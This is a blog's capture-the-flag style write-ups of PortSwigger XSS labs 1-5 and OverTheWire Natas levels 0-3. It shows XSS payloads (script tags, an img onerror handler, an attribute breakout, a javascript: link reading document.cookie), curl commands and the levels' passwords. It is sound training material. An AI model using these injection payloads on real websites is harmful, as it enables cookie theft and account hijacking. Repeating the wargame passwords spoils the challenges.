Friday, November 7, 2025

Cross-site Scripting Labs Write-ups PortSwigger Academy

Lab 1: Reflected XSS into HTML context with nothing encoded

Description: This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.
To solve the lab, perform a cross-site scripting attack that calls the alert() function.

Solution:

Find the search bar and simply search with an script tag with alert function.

<script>alert()</script>

Lab 2: Stored XSS into HTML context with nothing encoded

Description: This lab contains a stored cross-site scripting vulnerability in the comment functionality.
To solve this lab, submit a comment that calls the `alert` function when the blog post is viewed.

Solution:

Go to a post and find comments section. Add a comment with the same script tag and you’re done.

Lab 3: DOM XSS in document.write sink using source location.search

Description: This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

Solution:

First search for anything random string in search box and then inspect the page to see the rendered code after search. If you look carefully you will find a script tag related to search query with a document.write method which is using that search query to write context directly into HTML doument.

it looks like this:

<script>
     function trackSearch(query) {
        document.write(’<img src=”/resources/images/tracker.gif?searchTerms=’+query+’”>’);
     }
     var query = (new URLSearchParams(window.location.search)).get(’search’);
     if(query) {
         trackSearch(query);
      }
</script>

In this script tag document.write method is basically putting your search word/query from search box into that query variable and then putting that query variable into the img source. Basically, anything we type in that searchbox will get reflected here in this img tag. So we can just try to breakout (complete the img tag by completing syntax) from that img tag followed by our javascript code.

Something like this:

hello” onload=”alert()

So the rendered img tag will look like this:

<img src=”/resources/images/tracker.gif?searchTerms=hello” onload=”alert()”>

Lab 4: DOM XSS in innerHTML sink using source location.search

Description: This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

Solution:

Lab says it used an innerHTML assignment to change content somewhere on page. Inspect the page to find out the script where it has innerHTML. You will see a section in HTML where there is a script tag having a function that is taking the search term from search box and then using document.getElementByID.innerHTML method to change the data on the page.

<section class=blog-header>
                        <h1><span>0 search results for ’</span><span id=”searchMessage”></span><span>’</span></h1>
                        <script>
                            function doSearchQuery(query) {
                                document.getElementById(’searchMessage’).innerHTML = query;
                            }
                            var query = (new URLSearchParams(window.location.search)).get(’search’);
                            if(query) {
                                doSearchQuery(query);
                            }
                        </script>
                        <hr>
</section>

As you can see in the code above, the html with id “searchMessage” which is getting updated is a span tag. So, whatever you search in the search box, it will get added inside this span tag. To exploit this we will add a simple img tag calling an alert function. Why img tag? Because putting a script tag inside a span tag is not supported.

<img src=blah onerror=”alert()”>

We have to use onerror event handler because we don’t have an actual image path to show on the web page, so by putting dummy path it will trigger the onerror event handler which will call the alert function and this is how we solve this lab.

Lab 5: DOM XSS in jQuery anchor href attribute sink using location.search source

Description: This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library’s $ selector function to find an anchor element, and changes its href attribute using data from location.search.

To solve this lab, make the “back” link alert document.cookie.

Solution:

Another DOM based XSS vulnerability. Inspect the page code and we can see a function in a script tag. But this time it’s using jQuery selector to find id (#backLink) of anchor tag to change its href attribute data using URLSearchParams(window.location.search). Basically its taking data from the URL itself that ends with /feedback?returnPath=/feedback.

<div class=”is-linkback”>
  <a id=”backLink”>Back</a>
</div>
<script>
  $(function() {
     $(’#backLink’).attr(”href”, (new URLSearchParams(window.location.search)).get(’returnPath’));
 });
</script>

Now just change the query parament returnPath to / followed by some random string and you’ll see it’s getting placed inside a href attribute in that anchor tag which has id=backLink. Change that returnPath to javascript:alert(document.cookie) so that it will run this alert function java script when clicked.

Basically the URL should end like this:

https://somethingsomething.web-security-academy.net/feedback?returnPath=javascript:alert(document.cookie) and hit enter which will save this new href data to that back button on the page. And finally click the button to complete the Lab.

Wednesday, October 1, 2025

OverTheWire — Natas Writeups (Level 0 to 3)

This is a Master Blog Post where you can find all the write-ups for each level in Natas Wargames. But this is written in reverse chronological sequence (I add it here as I complete a certain level). If you are looking for a specific level, you can find the index below

Jump to:

Natas Level 0 -> Level 1
Natas Level 1 -> Level 2
Natas Level 2 -> Level 3
Natas Level 3 -> Level 4

Natas Level 3 -> Level 4

Accessing Natas3 by using the password we found in the previous level, says that “There is nothing on this page”.

Solution

We will check the page source to see the source code.

View-source:

<html>
<head>
<!– This stuff in the header has nothing to do with the level –>
<link rel=”stylesheet” type=”text/css” href=”http://natas.labs.overthewire.org/css/level.css”>
<link rel=”stylesheet” href=”http://natas.labs.overthewire.org/css/jquery-ui.css” />
<link rel=”stylesheet” href=”http://natas.labs.overthewire.org/css/wechall.css” />
<script src=”http://natas.labs.overthewire.org/js/jquery-1.9.1.js”></script>
<script src=”http://natas.labs.overthewire.org/js/jquery-ui.js”></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src=”http://natas.labs.overthewire.org/js/wechall.js”></script>
<script>var wechallinfo = { ”level”: ”natas3”, ”pass”: ”3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH” };</script></head>
<body>
<h1>natas3</h1>
<div id=”content”>
There is nothing on this page
<!– No more information leaks!! Not even Google will find it this time… –>
</div>
</body></html>

Other that that text, we can see some text which is commented. And it says no more leaks, Not even Google will find it this time.
When it says “Not even Google”, it means that google search engine can’t find certain file or directories on this web page.

Before proceeding you need to understand how exactly search engine finds websites, rather the correct term is how it indexes a website or creates a sitemap. Every search engine has web crawlers set up which try to find everything they can access to on a website. Now, if a web server doesn’t have any controls in place that can avoid crawlers to access specific parts of a website, these crawlers will access everything and will get indexed for search engine optimization.

To avoid access to private areas of a website, web servers have a file called robots.txt which explicitly mentions which parts to avoid for these crawlers.

Now we know how a robot.txt file works, we can try to find this file on our natas3 webpage. Most obvious way is to fire a curl command

Command: curl http://natas3.natas.labs.overthewire.org/robots.txt -u natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
Output: 
 ╰─λ curl http://natas3.natas.labs.overthewire.org/robots.txt -u natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
User-agent: *
Disallow: /s3cr3t/

And we found it! It was actually very easy to find robots file as it was not at all hidden on this web server. Generally this file will be hidden and won’t be accessible easily as it controls access.
As you can see in the output, that is how a robots.txt file looks like. It has a “Disallow” parameters where you can mention which pages/files on the website should not be accessed by any web crawlers.

In the “Disallow” parameter above we can there is a directory named “/s3cr3t/”. When we try to access that directory, we can find a user.txt file which has password stored for natas4.

Natas Level 2 -> Level 3

Using the password we found for the natas2 in the previous level, we will access natas2 webpage.

The webpage clearly says that “There is nothing on this page”

Solution

Our obvious first step would be using curl or checking the view-source.

View-source:

<html>
<head>
<!– This stuff in the header has nothing to do with the level –>
<link rel=”stylesheet” type=”text/css” href=”http://natas.labs.overthewire.org/css/level.css”>
<link rel=”stylesheet” href=”http://natas.labs.overthewire.org/css/jquery-ui.css” />
<link rel=”stylesheet” href=”http://natas.labs.overthewire.org/css/wechall.css” />
<script src=”http://natas.labs.overthewire.org/js/jquery-1.9.1.js”></script>
<script src=”http://natas.labs.overthewire.org/js/jquery-ui.js”></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src=”http://natas.labs.overthewire.org/js/wechall.js”></script>
<script>var wechallinfo = { ”level”: ”natas2”, ”pass”: ”TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI” };</script></head>
<body>
<h1>natas2</h1>
<div id=”content”>
There is nothing on this page

<img src=”files/pixel.png”>

</div>
</body></html>

There we can an image being rendered on webpage using img tag.
This “pixel.img” image file is stored files directory and is being showed on the main webpage. Although we can’t see any image on the webpage, it is still there. Infact it is a single pixel in image format. But its not important which image, rather it tells us that we can try directory traversal on this page as we already know the directory “files” can have more files other than just images.

So we will just try to explore that directory first.

http://natas2.natas.labs.overthewire.org/files/

and Voilà, we have that image file (pixel.img) and another text file (users.txt) in “files” directory.
And the password is stored in that users.txt file.

Contents of users.txt

# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
eve:zo4mJWyNj2
mallory:9urtcpzBmH

Natas Level 1 -> Level 2

Once you access Natas Level 1 using the password we found in natas0, you will see the text on the webpage that says “You can find the password for the next level on this page, but rightclicking has been blocked!”

Solution

Lucky for us we already know a method which we used in last level i.e to use curl command in Linux to retrieve content from a URL and display it in the terminal. When you fire curl in terminal we will get an output and the password in the source code too!

 
command: curl http://natas1.natas.labs.overthewire.org -u natas1:0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq
Output: 

<html>
<head>
<!– This stuff in the header has nothing to do with the level –>
<link rel=”stylesheet” type=”text/css” href=”http://natas.labs.overthewire.org/css/level.css”>
<link rel=”stylesheet” href=”http://natas.labs.overthewire.org/css/jquery-ui.css” />
<link rel=”stylesheet” href=”http://natas.labs.overthewire.org/css/wechall.css” />
<script src=”http://natas.labs.overthewire.org/js/jquery-1.9.1.js”></script>
<script src=”http://natas.labs.overthewire.org/js/jquery-ui.js”></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src=”http://natas.labs.overthewire.org/js/wechall.js”></script>
<script>var wechallinfo = { ”level”: ”natas1”, ”pass”: ”0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq” };</script></head>
<body oncontextmenu=”javascript:alert(’right clicking has been blocked!’);return false;”>
<h1>natas1</h1>
<div id=”content”>
You can find the password for the
next level on this page, but rightclicking has been blocked!

<!–The password for natas2 is TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI –>
</div>
</body>
</html>

And that’s the password for the Natas Level 2.

Natas Level 0 -> Level 1

Natas Wargames from OverTheWire teaches basic Server-side Web-Security. This is a good practice if you are into Bug Bounty Hunting.

I highly suggest that you create an account on WeChall to save your Natas Score. So if you ever want to comeback to a specific level you can!

From Natas Web Page:

Each level of natas consists of its own website located at http://natasX.natas.labs.overthewire.org, where X is the level number. There is no SSH login. To access a level, enter the username for that level (e.g. natas0 for level 0) and its password.

Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.

Start here:
Username: natas0
Password: natas0
URL: http://natas0.natas.labs.overthewire.org

Solution

Once you access the webpage, you will see a text saying “You can find the password for the next level on this page.”

This means the password should be here in the source code of this page. You can solve this by two methods.

  1. Using Browser’s Developer Tools:
    Right click on the page and select “View Page Source”
    This will give you the HTML Code for the page.

    <html>
    <head>
    <!– This stuff in the header has nothing to do with the level –>
    <link rel=”stylesheet” type=”text/css” href=”http://natas.labs.overthewire.org/css/level.css”>
    <link rel=”stylesheet” href=”http://natas.labs.overthewire.org/css/jquery-ui.css” />
    <link rel=”stylesheet” href=”http://natas.labs.overthewire.org/css/wechall.css” />
    <script src=”http://natas.labs.overthewire.org/js/jquery-1.9.1.js”></script>
    <script src=”http://natas.labs.overthewire.org/js/jquery-ui.js”></script>
    <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src=”http://natas.labs.overthewire.org/js/wechall.js”></script>
    <script>var wechallinfo = { ”level”: ”natas0”, ”pass”: ”natas0” };</script></head>
    <body>
    <h1>natas0</h1>
    <div id=”content”>
    You can find the password for the next level on this page.
    
    <!–The password for natas1 is 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq –>
    </div>
    </body>
    </html>
    

    The password is right there in commented text in content division.

  2. By using curl command on terminal:
    Use curl utility to get the same output but on terminal.

    Command: curl http://natas0.natas.labs.overthewire.org -u natas0:natas0
    

    flag -u is for username and password in a specific format - username:password

And that is how you clear Natas Level 0 and get the password to access Natas Level 1